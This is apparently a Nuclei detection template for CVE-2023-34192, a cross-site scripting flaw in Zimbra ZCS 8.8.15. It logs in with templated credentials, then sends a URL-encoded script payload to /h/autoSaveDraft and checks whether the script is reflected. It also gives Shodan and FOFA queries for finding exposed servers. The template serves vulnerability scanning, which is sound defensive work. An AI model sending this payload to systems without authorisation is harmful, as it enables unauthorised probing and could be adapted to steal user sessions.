nuclei-templates/http/cves/2023/CVE-2023-34192.yaml

55 lines
1.6 KiB
YAML

id: CVE-2023-34192
info:
name: Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting
author: ritikchaddha
severity: high
description: |
Cross Site Scripting vulnerability in Zimbra ZCS v.8.8.15 allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite (ZCS).
reference:
- https://mp.weixin.qq.com/s/Vz8yL4xBlZN5EQQ_BG0OOA
- https://www.helpnetsecurity.com/2023/07/17/cve-2023-34192/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-34192
classification:
cve-id: CVE-2023-34192
metadata:
max-request: 2
shodan-query: http.favicon.hash:475145467
fofa-query: icon_hash="475145467"
tags: cve,cve2023,zimbra,xss,authenticated
http:
- raw:
- |
POST /zimbra/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
loginOp=login&username={{username}}&password={{password}}&client=preferred
- |
GET /h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cbbbbbbbb HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "<script>alert(document.domain)</script>"
- "zimbra"
condition: and
- type: word
part: header_2
words:
- text/html
- type: status
part: header_2
status:
- 200